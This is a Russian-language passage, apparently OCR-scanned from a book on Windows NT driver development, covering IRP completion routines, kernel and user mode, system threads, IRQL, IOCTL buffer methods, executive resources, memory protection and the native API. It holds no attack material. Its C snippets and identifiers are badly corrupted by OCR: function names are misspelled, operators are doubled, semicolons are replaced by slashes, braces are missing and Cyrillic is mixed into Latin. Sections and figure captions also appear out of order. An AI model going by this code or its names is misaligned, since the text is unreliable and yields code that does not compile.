    InvokeOnSuccess, InvokeOnError, IwokeOnCancel - Параметры, которые, указывают должна ли точка входа CompletionRoutine быть вызвана при завершении IRP с указанным состоянием.

    В качестве второго параметра в вызове loSetCompletionRoutine() передается адрес точки входа драйвера, которая должна быть вызвана при завершении указанного в первом параметре пакета IRP. Прототип функции - точки входа драйвера:
    NTSTATUS CompletionRoutine(IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp,

    IN PVOID Context) ;
    Где: DeviceObject — Указатель на объект-устройство, которому предназначался закончившийся пакетIRP;

    IRP - Указатель на закончившийся пакет IRP;

    Context - Определенное драйвером значение контекста, переданное, когда была вызвана функция IoSetCompletionRoutine().

    При вызове IoSetCompletionRoutine() указатель на функцию завершения сохраняется вIRP в следующем после текущего Стеке Размещения ввода/вывода (то есть в

    Стеке Размещения ввода/вывода нижележащего драйвера). Из этого следуют два важных вывода:
  • Если драйвер установит функцию завершения для некоторого IRP и завершит этот IRP, функция завершения не будет вызвана.

  • Драйвер низшего уровня (либо монолитный драйвер) не может устанавливать функции завершения, так как, во-первых, это бессмысленно (см. предыдущий вывод), а во-вторых, это ошибка, так как следующего (за текущим) стека размещения ввода/вывода для таких драйверов не существует.

  • Функция завершения вызывается при том же уровне IRQL, при котором нижележащим драйвером была вызвана функция завершения обработки IRP - loComplete Request(). Это может быть любой уровень IRQL меньший либо равный IRQL_ DISPATCH_LEVEL.

    Если драйвер вышележащего уровня создавал новые пакеты IRP для передачи драйверу нижележащего уровня, он обязан использовать функцию завершения для этих IRP, причем параметры InvokeOnSuccess, InvokeOnError, IwokeOnCancel должны быть установлены в TRUE. В этих случаях функция завершения должна освободить созданные драйвером IRP с помощью функции IoFreeIrp() и завершить первоначальный пакет IRP.

    Требования к реализации функции завершения достаточно сложные. Эти требования можно найти в [Developing Windows NT Device Drivers, pages 481-485].




    Понятия «пользовательский режим» и «режим ядра»

    Понятия «пользовательский режим» и «режим ядра»

    При обсуждении архитектуры ОС Windows NT постоянно используются понятия «режим пользователя» и «режим ядра», поэтому стоит определить, что это значит. Начнем с обсуждения разницы между пользовательским режимом и режимом ядра (user mode/kernel mode).

    Пользовательский режим - наименее привилегированный режим, поддерживаемый NT; он не имеет прямого доступа к оборудованию и у него ограниченный доступ к памяти.

    Режим ядра - привилегированный режим. Те части NT, которые исполняются в режиме ядра, такие как драйверы устройств и подсистемы типа Диспетчера Виртуальной Памяти, имеют прямой доступ ко всей аппаратуре и памяти.

    Различия в работе программ пользовательского режима и режима ядра поддерживаются аппаратными средствами компьютера (а именно - процессором).

    Большинство архитектур процессоров обеспечивают, по крайней мере, два аппаратных уровня привилегий. Аппаратный уровень привилегий процессора определяет возможное множество инструкций, которые может вызывать исполняемый в данный момент процессором код. Хотя понятия «режим пользователя» и «режим ядра» часто используются для описания кода, на самом деле это уровни привилегий, ассоциированные с процессором. Уровень привилегий накладывает три типа ограничений: 1) возможность выполнения привилегированных команд, 2) запрет обращения к данным с более высоким уровнем привилегий, 3) запрет передачи управления коду с уровнем привилегий, не равным уровню привилегий вызывающего кода.




    Потоки как диспетчерские объекты

    Потоки как диспетчерские объекты

    Как говорилось в разделе, посвященном механизмам синхронизации, поток является диспетчерским объектом, который переходит в сигнальное состояние при своем завершении. Следующий пример демонстрирует способ синхронизации с помощью объекта-потока.
    NTSTATUS DriverEntry( .... )

    status = PsCreateSystemThread(&thread_handle,

    0,

    NULL,

    0,

    NULL,

    thread_func,

    pDevExt~>thread_context) ; if (status != STATUS_SUCCESS)

    {

    //обработка ошибки } else

    {

    status = ObReferenceobjectByHandle (thread_handle, THREAD_ALL_ACCESS, NULL,

    KernelMode,

    (PVOID*) &pDevExt->pThreadObject, NULL) ; if (status != STATUS_SUCCESS)

    { ' ' ': ' " ' ' ' ' '

    //обработка ошибки

    Функция потока:

    VOID thread_func(PVOID Context)

    { ' ' ' '; , ' -

    //Рабочий код потока

    //Завершение потока PsTerminateSystemThread'(STATUS_SUCCESS) ;

    Функция, ожидающая завершение работы потока: .... SomeFunc( .... )

    status = KeWaitForSingleObject (pDevExt->pThreadObject,

    Executive,

    KernelMode,

    FALSE ,

    NULL) ; ObDereferenceObject (pDevExt->pThreadObject) ;
    Прокомментируем этот пример. При создании потока с помощью функции PsCreateSystemThread() возвращается описатель потока в контексте процесса, в котором поток был создан. Важно понимать, что это может быть совершенно не тот процесс, в контексте которого была вызвана функция PsCreateSystem Thread(). В этом случае мы не можем напрямую воспользоваться функцией ObReference ObjectByHandle() для получения указателя на объект-поток по его описателю.

    Существует простейший способ решения этой проблемы, основанный на том факте, что функция - точка входа в драйвер DriverEntry, всегда вызывается в контексте потока System. Вызов функции PsCreateSystemThread() следует производить из DriverEntry, и при этом указывать создавать поток в контексте процесса System. Получив описатель созданного потока, можно получить указатель на объект-поток с помощью ObReferenceObjectByHandle(), и в дальнейшем пользоваться этим указателем в контексте любого процесса и потока.
    При завершении использования объекта- потока надо обязательно освободить его с помощью вызова ObDereferenceObject(). Все вышесказанное иллюстрируется Рисунок 13.

    Если драйверу все же необходимо по каким-либо причинам создать поток в контексте процесса, отличного от процесса System, либо создать поток в контексте процесса System, находясь в контексте другого потока, ему нужно каким-то образом попасть в контекст памяти процесса, в таблице описателей которого хранится информация о нужном процессе. Для этого служит недокументированная функция KeAttachProcess(). После необходимой обработки необходимо восстановить предыдущее состояние с помощью вызова KeDetachProcess().

    Вышесказанное относилось только к ОС Windows NT 4.0. В ОС Win2000 появилась специальная таблица описателей, называемая таблицей описателей ядра (kernel handle table), которая может быть доступна с помощью экспортируемого имени ObpKernelHandleTable.

    Прерывания и планирование

    Прерывания и планирование

    Сведения об IRQL в Таблице 5 показывают, что уровень Dispatch Level связан с операциями планирования. Когда уровень IRQL соответствует Dispatch Level или выше, NT маскирует программные прерывания планировщика, что означает, что NT отключает планировщик. Фактически, драйверы устройств (и NT) не должны осуществлять операции, требующие немедленного ответа от планировщика, когда процессор находится на уровне IRQL большем или равном Dispatch Level.

    Это ограничение включает в себя выполнение всего, что может указывать NT, что текущий поток уступает CPU для ожидания осуществления некоторого события, так как эта акция заставит планировщик искать новый поток для исполнения.

    Другое действие, которое требует вмешательства планировщика, это ошибка отсутствия страницы. Когда поток обращается к виртуальной памяти, ссылающейся на данные в страничном файле, NT обычно блокирует поток до тех пор, пока данные не будут прочитаны.

    Поэтому на уровне Dispatch Level или выше NT не позволяет доступ к памяти, не заблокированной в физической памяти.

    Если вы когда либо видели код останова синего экрана IRQL_NOT_LESS_OR_ EQUAL, вы вероятно были свидетелем эффекта от нарушения драйвером этих правил.

    Отключение планировщика во время обработки прерывания имеет другой, менее очевидный эффект: NT подсчитывает время, затраченное функциями ISR (процедурами обработки прерываний) и DPC (вызовами отложенных процедур) на фоне величины времени, которое поток был активным к моменту, когда CPU получил прерывание.

    Например допустим, что Word выполняет операцию проверки правописания, от устройства поступает прерывание, и драйвер устройства имеет DPC, которое отбирает весь квант времени программы Word (а затем еще сколько-то). Когда IRQL процессора упадет ниже уровня Dispatch Level, планировщик может решить переключиться на другой поток другого приложения, чувствительно наказывая Word за обработку прерывания.

    Хотя такая практика кажется несправедливой, почти каждый раз, когда NT распределяет прерывание, оно равномерно распределяется между прикладными программами в системе.




    обработки запросов чтения/записи

    Пример обработки запросов чтения/записи

    Данный пример обработки запросов чтения/записи демонстрирует получение адреса буфера для чтения/записи и его длины. Такой код вставляется в обработчик диспетчерских функций MajorFunction[IRP__MJ_READ], MajorFuriction[IRP_MJ_WRITE].
    //получение адреса буфера для чтения/записи

    //в случае буферизованного ввода/вывода

    BufferAddress = Irp->AssociatedIrp.SystemBuffer/

    //в случае прямого ввода/вывода

    BufferAddress = MmGetSystemAddressForMdl(Irp->MdlAddress)/ //в случае Neither i/o

    BufferAddress = Irp->AssociatedIrp.UserBuffer; //получение длины буфера для чтения/записи stack = = loGetCurrentlrpStackLocation ( Irp );

    BufferLength = stack->Parameters.Read.Length;

    обработки

    Пример обработки

    Пример получения адресов и длин буферов в диспетчерской функции драйвера, обрабатывающей функциональные коды IRP_MJ_CREATE, IRP_MJ_CLOSE и IRP_MJ_DEVICE_CONTROL:
    stack = loGetCurrentlrpStackLocation (Irp); switch (pIrpStack->MajorFunction) {

    case IRP_MJ_CREATE: case IRP_MJ_CLOSE: break;

    case IRP_MJ_DEVICE_CONTROL:

    switch (stack->Parameters.DeviceloControl.loControlCode) { case IOCTL_MY_BUFFERED:

    InBuffer = Irp->AssociatedIrp.SystemBuffer; InLength = stack->Parameters.DeviceloControl.InputBuffer.Length; OutBuffer = Irp->AssociatedIrp.SystemBuffer; OutLength = stack->Parameters.DeviceloControl.OutputBufferLength; case IOCTL_MY_IN_DIRECT:

    //OutBuffer доступен только для чтения InBuffer = Irp->AssociatedIrp.SystemBuffer; InLength = stack->Parameters.DeviceloControl.InputBufferLength; OutBuffer = MmGetSystemAddressForMdl( Irp->MdlAddress );

    OutLength = stack->Parameters.DeviceloControl.OutputBufferLength; break; case IOCTL_MY_OUT_DIRECT:

    //OutBuffer доступен для чтения/записи InBuffer = Irp->AssociatedIrp.SystemBuffer; InLength = stack->Parameters.DeviceloControl.InputBufferLength; OutBuffer = MmGetSystemAddressForMdl( Irp->MdlAddress

    );

    OutLength = stack->Parameters.DeviceloControl.OutputBufferLength; break;

    case IOCTL_MY_NEITHER:

    InBuffer = irpStack->Parameters.DeviceloControl.Type3InputBuffer;

    InLength = irpStack->Parameters.DeviceIoControl.InputBufferLength; OutBuffer = Irp->UserBuffer;

    OutLength = irpStack->Parameters.Device!oControl.OutputBufferLength; break;



    Приоритеты планирования

    Приоритеты планирования

    Каждому потоку назначается приоритет планирования. Имеется 32 уровня приоритетов планирования со значениями 0-31. Низший приоритет планирования со значением 0 зарезервирован для потока обнуления страниц (Zero Page Thread), который выполняется в случае, когда больше нечего исполнять. Этот поток является компонентом диспетчера памяти, и его работа состоит в обнулении страниц из списка свободных страниц. Когда диспетчер памяти получает запрос на выдачу обнуленной страницы памяти, диспетчер памяти вначале попробует выделить страницу, обнуленную потоком обнуления страниц, и только если таких страниц нет, он потратит время на обнуление.

    Проблема взаимоблокировок (deadlocks)

    Проблема взаимоблокировок (deadlocks)

    Если поток попробует захватить спин-блокировку повторно, он войдет в бесконечный цикл ожидания - «повиснет». Такая же ситуация возникнет, если два потока используют две спин-блокировки. Поток 1 захватывает блокировку 1, одновременно с этим поток 2 захватывает блокировку 2. Затем поток 1 пробует захватить блокировку 2, а поток 2 - блокировку 1. Оба потока «виснут». Эту ситуацию можно распространить на произвольное число потоков, она широко известна и носит название взаимоблокировки (deadlocks).

    Решение этой проблемы очень простое. Все блокировки, которые могут захватываться одновременно, помещаются в список в порядке убывания частоты использования. При необходимости захвата блокировок они должны быть захвачены в том порядке, в котором они указаны в списке. Таким образом, мы создали иерархию блокировок.



    Пространства ввода/вывода и отображение памяти устройств

    Пространства ввода/вывода и отображение памяти устройств

    Смотри раздел «Типы адресов в NT».
    BOOLEAN HalTranslateBusAddress(IN INTERFACE_TYPE InterfaceType,

    IN ULONG BusNumber,

    IN PHYSICAL_ADDRESS BusAddress,

    IN OUT PULONG AddressSpace,

    OUT PPHYSICAL_ADDRESS TranslatedAddress); PVOID MmMapIoSpace(IN PHYSICAL_ADDRESS PhysicalAddress,

    IN ULONG NumberOfBytes,

    IN BOOLEAN CacheEnable); VOID MmUnmapIoSpace(IN PVOID BaseAddress,

    IN ULONG NumberOfBytes);

    Реализация драйверов-фильтров

    Реализация драйверов-фильтров

    Диспетчер ввода/вывода предоставляет возможность одному драйверу «подключить» один из своих объектов-устройств к объекту-устройству другого драйвера. Результатом будет перенаправление пакетов IRP, предназначавшихся некоторому объекту-устройству, на объект-устройство драйвера-фильтра. Драйвер-фильтр может просмотреть, модифицировать, завершить или передать полученный IRP первоначальному драйверу. Драйверы-фильтры могут быть подключены к любому драйверу в стеке драйверов.

    Реализация уровневых драйверов

    Реализация уровневых драйверов

    Стек драйверов обычно создается самими драйверами. Корректное создание стека зависит от правильной последовательности и момента загрузки каждого драйвера из стека. Первыми должны грузиться драйвера самого нижнего уровня и т.д.

    При рассмотрении организации стека драйверов необходимо понимание трех моментов:
  • объединение драйверов в стек;

  • обработка запросов IRP стеком;

  • освобождение драйверов стека.


  • Ресурсы Исполнительной системы

    Ресурсы Исполнительной системы

    Ресурсы являются вариантом быстрого мьютекса. Ресурсы не являются диспетчерскими объектами, поэтому они не могут иметь имя и использоваться в функции

    KeWaitForSingleObject() или KeWaitForMultipleObjects(). Ресурсы предоставляют две формы захвата:
  • Эксклюзивный - в этом случае ресурс ведет себя как обычный мьютекс - поток, который попытается захватить такой ресурс для эксклюзивного или совместного использования, будет блокирован.

  • Совместно используемый - в этом случае ресурс может быть одновременно захвачен для совместного использования любым числом потоков.

  • Ресурсы идеально подходят для защиты структур данных, которые могут одновременно читаться несколькими потоками, но должны модифицироваться в каждый момент времени только одним потоком.

    Для работы с ресурсами существуют функции запроса эксклюзивного доступа, неэксклюзивного доступа и преобразования уже полученного неэксклюзивного доступа в эксклюзивный и, наоборот, без промежуточных операций освобождения ресурса и запроса нового режима доступа. Все функции должны вызываться на уровне IRQL меньшем DISPATCH_LEVEL.

    Функции работы с ресурсами:
  • 1. NTSTATUS ExInitializeResourceLite(IN PERESOURCE Resource);

    2. VOID ExReinitializeResourceLite(IN PERESOURCE Resource);

    3. BOOLEAN ExAcquireResourceExclusiveLite(IN PERESOURCE Resource IN BOOLEAN Wait);

    4. BOOLEAN ExTryToAcquireResourceExclusiveLite(IN PERESOURCE Resource);

    5. BOOLEAN ExAcquireResourceSharedLite(IN PERESOURCE Resource IN BOOLEAN Wait);

    6. BOOLEAN ExAcquireSharedStarveExclusive(IN PERESOURCE Resource IN BOOLEAN Waif);

    7. BOOLEAN ExAcquireSharedWaitForExclusive(IN PERESOURCE Resource,IN BOOLEAN Waif);

    8. VOID ExConvertExclusiveToSharedLite(IN PERESOURCE Resource);

    9. BOOLEAN ExIsResourceAcquiredExclusiveLite(IN PERESOURCE Resource);

    10. USHORT ExIsResourceAcquiredSharedLite(IN PERESOURCE Resource);

    11. ULONG ExGetExclusiveWaiterCount(IN PERESOURCE Resource);

    12. ULONG ExGetSharedWaiterCount(IN PERESOURCE Resource);

    13. NTSTATUS ExDeleteResourceLite(IN PERESOURCE Resource);

    14. VOID ExReleaseResourceForThreadLite(IN PERESOURCE Resource;

    15. IN ERESOURCEJTHREAD ResourceThreadld).






  • /p> Местоположение буферов данных в пакете IRP будет рассмотрено в следующем разделе («Получение буфера»).

  • 4. Поле Access указывает тип доступа, который должен был быть запрошен (и предоставлен) при открытии объекта-файла, для которого передается данный код Управления вводом/выводом. Возможные значения для этого параметра следующие:

  • FILE_ANY_ACCESS. Это значение указывает, что при вызове CreateFile() мог быть запрошен любой доступ.


  • FILE_READ_ACCESS. Это значение указывает, что должен был быть запрошен доступ для чтения.


  • FILE_WRITE_ACCESS. Это значение указывает, что должен был быть запрошен доступ для записи.


  • Заметим, что file_read_access и file_write_access могут быть указаны одновременно, чтобы указать, что при открытии устройства должен быть предоставлен и доступ на чтение, и доступ на запись.

    Параметр Access требуется потому, что операции управления ввода/вывода, по своей сути не есть операция чтения или записи. Прежде, чем будет разрешена запрашиваемая операция ввода/вывода, Диспетчер Ввода/вывода должен знать, какой режим доступа нужно проверить в таблице описателей.

    Формат кода управления вводом/выводом

    Рисунок 11. Формат кода управления вводом/выводом

    Формат кода управления вводом/выводом

    CTL_CODE( DeviceType, Function, Method, Access ) - специальный макрос, определенный в заголовочных файлах ntddk.h и windows.h, для задания кода в формате, представленном на Рисунок 11.

    Рассмотрим составляющие кода управления вйода/вывода:
  • 1. Поле DeviceType определяет тип объекта-устройства, которому предназначен запрос. Это тот самый тип устройства, который передается функции IoCreateDevice()

    при создании устройства. Как уже говорилось, существует два диапазона значений типов устройств: 0-32767 - зарезервированные значения для стандартных типов устройств, 32768-65535 — диапазон значений типов устройств для выбора разработчиком. Следует отметить, что несколько разных устройств могут иметь одинаковое значение типа устройства. Поскольку каждый запрос ввода/вывода предназначен конкретному устройству, совпадение типов устройств не приводит к неприятностям. Также необходимо отметить, что тип устройства в коде управления ввода/вывода может не совпадать с типом устройства объекта-устройства, и это не будет являться ошибкой.

    2. Поле Function идентифицирует конкретные действия, которые должно предпринять устройство при получении запроса/Значения поля Function должны быть уникальны внутри устройства. Как и для типов устройств, существует два диапазона значений поля Function: 0-2047 — зарезервированный диапазон значений, и 2048-4095 — диапазон значений, доступный разработчикам устройств.

    3. Поле Method указывает метод передачи буферов данных. Для понимания этого поля вернемся к функции DeviceloControl(). Функция передает два буфера - InBuffer и OutBuffer. Буфер InBuffer передает данные драйверу, буфер OutBuffer может передавать данные в обоих направлениях (к драйверу и от драйвера).

  • В следующей таблице приведены возможные значения поля Method и методы пе-J редачи буферов InBuffer и OutBuffer:

    Значение поля Method

    Использование OutBuffer

    Используемый метод передачи буфера

    InBuffer

    OutBuffer

    METHOD BUFFERED



    Буферизованный ввод/вывод (Buffered I/O)

    METHOD_IN_DIRECT

    Передача данных к драйверу

    Буферизованный ввод/вывод

    Прямой ввод/вывод. Осуществляется про- верка буфера на дос- туп по чтению

    METHODJDUTJDIRECT

    Приема данных от драйвера

    Буферизованный ввод/вывод

    Прямой ввод/вывод. Осуществляется про- верка буфера на дос- туп по записи

    METHOD NEITHER



    Neither I/O

    <

    описывает типичный

    Рисунок . 14 описывает типичный ход обслуживания прерывания NT. Контроллер устройства генерирует сигнал прерывания на шине процессора, который обрабатывает контроллер прерываний процессора. Этот сигнал служит причиной для CPU для выполнения кода в объекте-прерывании, зарегистрированном для прерывания. Этот код, в свою очередь, вызывает вспомогательную функцию Kilnterrupt Dispatch. KilnterruptDispatch вызывает ISR драйвера, которая запрашивает DPC.

    NT также имеет механизм обработки прерываний, не зарегистрированных драйверами устройств. В процессе инициализации системы NT программирует контроллер прерываний так, чтобы указывать на функции ISR по умолчанию. Функции ISR по умолчанию осуществляют специальную обработку, когда система генерирует ожидаемые прерывания. Например, ISR ошибки отсутствия страницы должна выполнить обработку в ситуации, при которой программа ссылается на виртуальную память, которая не имеет выделенного пространства в физической памяти компьютера. Такая ситуация может возникнуть когда программы взаимодействуют с файловой системой для получения данных из файла подкачки или исполняемого файла, или когда программы ссылаются на недействительный адрес. NT программирует незарегистрированные прерывания так, чтобы они указывали на обработчики ISR, которые распознают, что система сгенерировала неразрешенное прерывание. Почти все эти ISR высвечивают синий экран смерти (BSOD - blue screen of death) для уведомления системного администратора о том, что произошло неразрешенное прерывание.


    Вначале ISR запрашивает

    Рисунок . 15
    Вначале ISR запрашивает DPC и NT помещает объект DPC в очередь целевого процессора. В зависимости от приоритета DPC и длины очереди DPC, NT генерирует программное прерывание DPC сразу же или спустя некоторое время. Когда процессор очищает очередь DPC, объект DPC покидает очередь и управление передается в его функцию DPC, завершающую обработку прерывания путем чтения данных из устройства или записи данных в устройство, сгенерировавшего прерывание.

    Другое распространенное использование DPC - подпрограммы таймера. Драйвер может запросить выполнение конкретной функции для уведомления об истечении определенного периода времени (это делается путем использования функции KeSetTimer()). Программа обработки прерывания часов следит за прохождением времени, и, по истечении определенного периода времени, запрашивает DPC для подпрограммы, определенной драйвером. Использование DPC для таймерного уведомления позволяет программе обработки прерывания часов возвращаться быстро, но все же приводить к вызову указанной процедуры без чрезмерной задержки.

    Общая архитектура ОС Windows NT

    Рисунок . 2. Общая архитектура ОС Windows NT

    Общая архитектура ОС Windows NT



    Вызов системных сервисов через "родной" API. (ntdll.dll)

    Рисунок . 3. Вызов системных сервисов через "родной" API. (ntdll.dll)

    Вызов системных сервисов через

    Система приоритетов

    Рисунок . 4. Система приоритетов

    Система приоритетов




    В NT определено 11

    Рисунок . 5

    В NT определено 11

    В NT определено 11 селекторов, из которых нас будут интересовать всего 4:

    Селектор Hex (bin]
    Назначение
    База
    Предел
    DPL
    Тип
    08 (001000)
    Code32
    00000000
    FFFFFFFF
    0
    RE
    10( )
    Data32
    00000000
    FFFFFFFF
    0
    RW
    lb (011011)
    Code32
    00000000
    FFFFFFFF
    3
    RE
    23 (100011)
    Data32
    00000000
    FFFFFFFF
    3
    RW

    Эти четыре селектора позволяют адресовать все 4Гб линейного адресного пространства, причем для всех селекторов при фиксированном контексте памяти производится трансляция в одни и те же физические адреса. Разница только в режиме доступа.

    Первые два селектора имеют DPL=0 и используются драйверами и системными компонентами для доступа к системному коду, данным и стеку. Вторые два селектора используются кодом пользовательского режима для доступа к коду, данным и стеку пользовательского режима. Эти селекторы являются константами для ОС NT.

    Сегментное преобразование пары селектор:смещение дает 32-битный линейный адрес (лежащий в диапазоне 4 Гб линейного адресного пространства). При этом линейный адрес совпадает со значением смещения виртуального адреса. Фактически, при такой организации памяти виртуальный и линейный адреса совпадают.

    Наличие поля тип, определяющего возможность чтения/записи/исполнения кода в соответствующем сегменте может навести на мысль, что именно на этом уровне производится защита памяти от нецелевого использования. Например, при работе прикладной программы в пользовательском режиме ее код находится в сегменте с селектором 1b. Для этого сегмента разрешены операции чтения и исполнения. Используя селектор 1b, программа не сможет модифицировать свой собственный код. Однако, как уже было сказано, для всех сегментов производится трансляция в одни и те же физические адреса. Поэтому при обращении к данным или стеку (селектор 23) прикладная программа обнаружит свой код по тому же смещению, что и для селектора 1b, причем режим доступа к сегменту позволяет производить чтение/запись. (При этом важно помнить: одно и то же смещение в разных адресных пространствах указывает на разную физическую память.) Таким образом, способ использования сегментации в ОС NT не обеспечивает защиту кода от нецелевого использования.

    Далее задействуется механизм страничной организации памяти и переключения контекста памяти.

    Каждый контекст памяти (адресное пространство процесса) представляется собственной таблицей трансляции линейного адреса (совпадающего с виртуальным) в физический.

    Каждый элемент таблицы страниц содержит бит, указывающий на возможность доступа к странице из пользовательского режима. При этом все страницы доступны из режима ядра.

    Кроме того, каждый элемент таблицы страниц содержит бит, указывающий на возможность записи в соответствующую страницу памяти.

    Эти два бита используются для управления доступом к страницам памяти и формируют следующий набор правил:
  • 1. страница всегда может быть прочитана из режима ядра;

  • 2. на страницу может быть произведена запись из режима ядра, только если установлен бит разрешения записи;

  • 3. страница может быть прочитана из пользовательского режима, только если установлен бит доступа к странице из пользовательского режима;

  • 4. на страницу может быть произведена запись из пользовательского режима, если установлены оба бита (разрешение записи и доступ из пользовательского режима);

  • 5. если страница может быть прочитана, она может быть исполнена.

  • Страницы памяти с исполняемым кодом не будут иметь разрешения на запись,

    если не предпринять никаких дополнительных действий. Поэтому при попытке использования селектора данных для модификации кода будет сгенерирована исключительная ситуация.

    Для упрощения организации памяти, для всех контекстов памяти NT осуществляет одинаковую трансляцию для некоторого диапазона виртуальных адресов. Таким образом, при переключении контекста памяти, то есть переходе на новую таблицу трансляции виртуального адреса в физический, некоторая часть элементов этой таблицы останется неизменной.

    Это нужно для того, чтобы ядро операционной системы (компоненты ОС и драйвера) всегда располагалось по фиксированным виртуальным адресам вне зависимости

    от текущего контекста памяти. Таким неизменяемым диапазоном адресов являются верхние 2 Гб памяти.

    Для защиты кода ОС соответствующие элементы таблицы трансляции виртуального адреса в физический помечены как недоступные из пользовательского режима.

    Соответственно, диапазон виртуальных адресов 2-4 Гб называют системным адресным пространством (system address space), а диапазон 0-2 Гб - пользовательским адресным пространством (user address space).

    Во избежание путаницы между терминами адресное пространство процесса и пользовательское/системное адресное пространство, где это возможно, вместо термина адресное пространство процесса мы будем пользоваться термином контекст памяти.

    При этом возможная путаница вполне допустима, так как с точки зрения прикладного программиста пользовательское адресное пространство - и есть текущий контекст памяти.

    в ОС NT находятся

    Рисунок .7

    в ОС NT находятся

    Все исполняемые модули в ОС NT находятся в совместно используемой памяти с задействованием Copy-On-Write. Это означает, например, что при отладке кода DLL, используемой в некотором процессе, при установке точки прерывания (что осуществляется записью в код), она будет присутствовать только в этом адресном пространстве.

    Для постановки точки прерывания на код в DLL так, чтобы она срабатывала вне зависимости от адресного пространства, необходимо предпринять специальные действия:
  • 1. Для данного виртуального адреса нужно получить физический адрес.

  • 2. Для физического адреса создать новую запись в таблице страниц, устанавливающих для страницы доступ на запись. Создание записи в таблице страниц означает получение нового виртуального адреса.

  • 3. При записи по полученному виртуальному адресу будет модифицирована страница физической памяти, соответственно это изменение увидится во всех контекстах памяти, на которые отображена эта страница.

  • Естественно, первые два шага можно сделать только в коде режима ядра, то есть из драйвера.

    Практически уникальность описателя только

    Рисунок . 8

    Практически уникальность описателя только

    Практически уникальность описателя только в контексте данного процесса означает невозможность использования описателя драйвером при работе в случайном контексте. Описатель обязательно должен быть переведен в указатель на объект посредством вызова функции диспетчера объектов ObReferenceObjectBy-Handle().


    вывода до завершения запроса

    Рисунок .9

    вывода до завершения запроса

    Модель ввода/вывода, предусматривающая завершение функции ввода/ вывода до завершения запроса ввода/вывода называется асинхронным вводом/выводом. Асинхронный ввод/вывод позволяет программе запросить выполнение операции ввода/вывода, после чего продолжать выполнение другой операции, пока устройство не закончит пересылку данных. Система ввода/вывода автоматически уведомляет программу о завершении операции ввода/вывода.

    Модель ввода/вывода, обеспечиваемая Диспетчером ввода/вывода, асинхронна всегда, хотя этот факт может быть скрыт функциями подсистемы окружения. Например, так происходит в случае функции CreateFile(). Эта функция не является асинхронной, хотя пользуется асинхронной функцией NtCreateFile().

    При асинхронном вводе/выводе более поздний по времени запрос ввода/вывода может быть закончен до завершения более ранних запросов.

    Вызов прерывания и переключение процессора в режим ядра не влияют на текущий контекст памяти. Из этого следует, что при обработке вызова системного сервиса и Диспетчер памяти, и соответствующая точка входа драйвера работают в контексте памяти процессора - инициатора запроса ввода/вывода.

    В случае, когда устройство обрабатывает запрос ввода/вывода сразу при его поступлении, диспетчеру ввода/вывода не требуется переключение контекста памяти для уведомления процесса о завершении запроса.

    В случае, когда устройство отложило запрос в очередь запросов, в тот момент, когда подошла очередь запроса на обработку, контекст памяти будет неизвестен - случайный контекст памяти. При этом диспетчеру ввода/вывода понадобится механизм уведомления нужного процесса о завершении запроса ввода/вывода. Таким механизмом является механизм Асинхронного Вызова Процедуры (Asynchronous procedure call, АРС). Вкратце он состоит в том, что прикладная программа предоставляет диспетчеру ввода/вывода адрес функции, которая должна быть вызвана при завершении запроса ввода/вывода. При запросе АРС диспетчер ввода/вывода указывает этот адрес и поток, в котором должна быть вызвана эта функция. АРС запрашивается с помощью генерации специального прерывания на уровне IRQL равном APC_LEVEL. Запрос АРС откладывается в очередь АРС и будет выполнен, когда управление получит нужный поток и текущий уровень IRQL будет меньше APC_LEVEL.

    Рисование (drawing). Например

    Рисование (drawing). Например, функции BitBitQ и LineTo() являются Win32-функциями рисования и предоставляются библиотекой gdi32.dll.
  • Базовые сервисы. Базовые сервисы включают весь ввод/вывод %т32, управление процессами и потоками, управление памятью, синхронизацию и предоставляются библиотекой kernel32.dll.

  • Когда Win32-приложение вызывает функцию API Win32, управление передается одной из клиентских DLLs подсистемы Win32. Эта DLL может:

  • Выполнить функцию самостоятельно без обращения к системным сервисам ОС и вернуть управление вызывающей программе.

  • Послать сообщение Win32-cepeepy для обработки запроса в том случае, если сервер должен участвовать в выполнении заданной функции. Так, функция CreateProcess(), экспортируемая библиотекой kernel32.dll, требует взаимодействия с Win32-cepBepOM, который, в свою очередь, вызывает функции «родного» API.

  • Вовлечь «родной» интерфейс API для выполнения заданной функции. Последний вариант встречается наиболее часто. В версиях Windows NT ниже 4.0 функции окон (windowing) и рисования (drawing) были расположены в Win32-сервере (csrss.exe). Это означало, что, когда приложение использовало такие функции, посылались сообщения указанному серверу. В версии 4.0 эти функции были перенесены в компонент режима ядра, называемый win32k.sys. Теперь вместо того, чтобы посылать сообщение серверу, клиентская DLL обращается к этому компоненту ядра, уменьшая затраты на создание сообщений и переключение контекстов потоков различных процессов. Это увеличило производительность графического ввода/вывода. Библиотеки gdi32.dll и user32.dll стали вторым «родным» API, но оно менее загадочно, чем первое, так как хорошо документировано.

  • Функциями библиотеки kernel32.dll, вызывающими «родной» интерфейс API напрямую, являются функции ввода/вывода, синхронизации и управления памятью. Фактически, большинство экспортируемых библиотекой kerael32.dll функций используют «родной» API напрямую. На Рисунок 3 иллюстрируется передача управления от Win32-приложения, выполнившего вызов Win32-функции CreateFile(), библиотеке kernel32.dll, затем функции NtCreateFile() в ntdll.dll и далее режиму ядра, где управление передается системному сервису, реализующему создание/открытие файла. Подробнее вызов системных сервисов рассматривается в следующем параграфе.

    «Родной» API для ОС Windows NT (Native Windows NT API)

    «Родной» API для ОС Windows NT (Native Windows NT API)

    «Родной» API для Windows NT является средством, которое реализует контролируемый вызов системных сервисов, исполняемых в режиме ядра. Так, например, если программа, исполняющаяся в пользовательском режиме, захочет выполнить операцию ввода/вывода, зарезервировать или освободить регион в виртуальном адресном пространстве, запустить поток или создать процесс, — она должна запросить (естественно, не напрямую) один или несколько системных сервисов, расположенных в режиме ядра.

    Этот интерфейс API является интерфейсом системных вызовов и не предназначается для непосредственного использования пользовательскими программами, кроме того, его документация ограничена. В Windows NT «родной» интерфейс спрятан от прикладных программистов под интерфейсами API более высокого уровня, таких как Win32, OS/2, POSIX, DOS/Win16.

    «Родной» API предоставляется коду пользовательского режима библиотекой ntdll.dll. Библиотека ntdll.dll, имеющая точки входа в «родной» API для кода пользовательского режима, содержит также код загрузки модуля и запуска потока процесса. Однако большинство входов в «родной» API являются заглушками, которые просто передают управление режиму ядра. Это осуществляется путем генерации программного исключения, например, ассемблерный код функции NtCreateFile() в библиотеке ntdll.dll, выглядит следующим образом:
    mov еах, 0x00000017

    lea edx, [esp+04]

    int Ox2E

    ret Ox2C
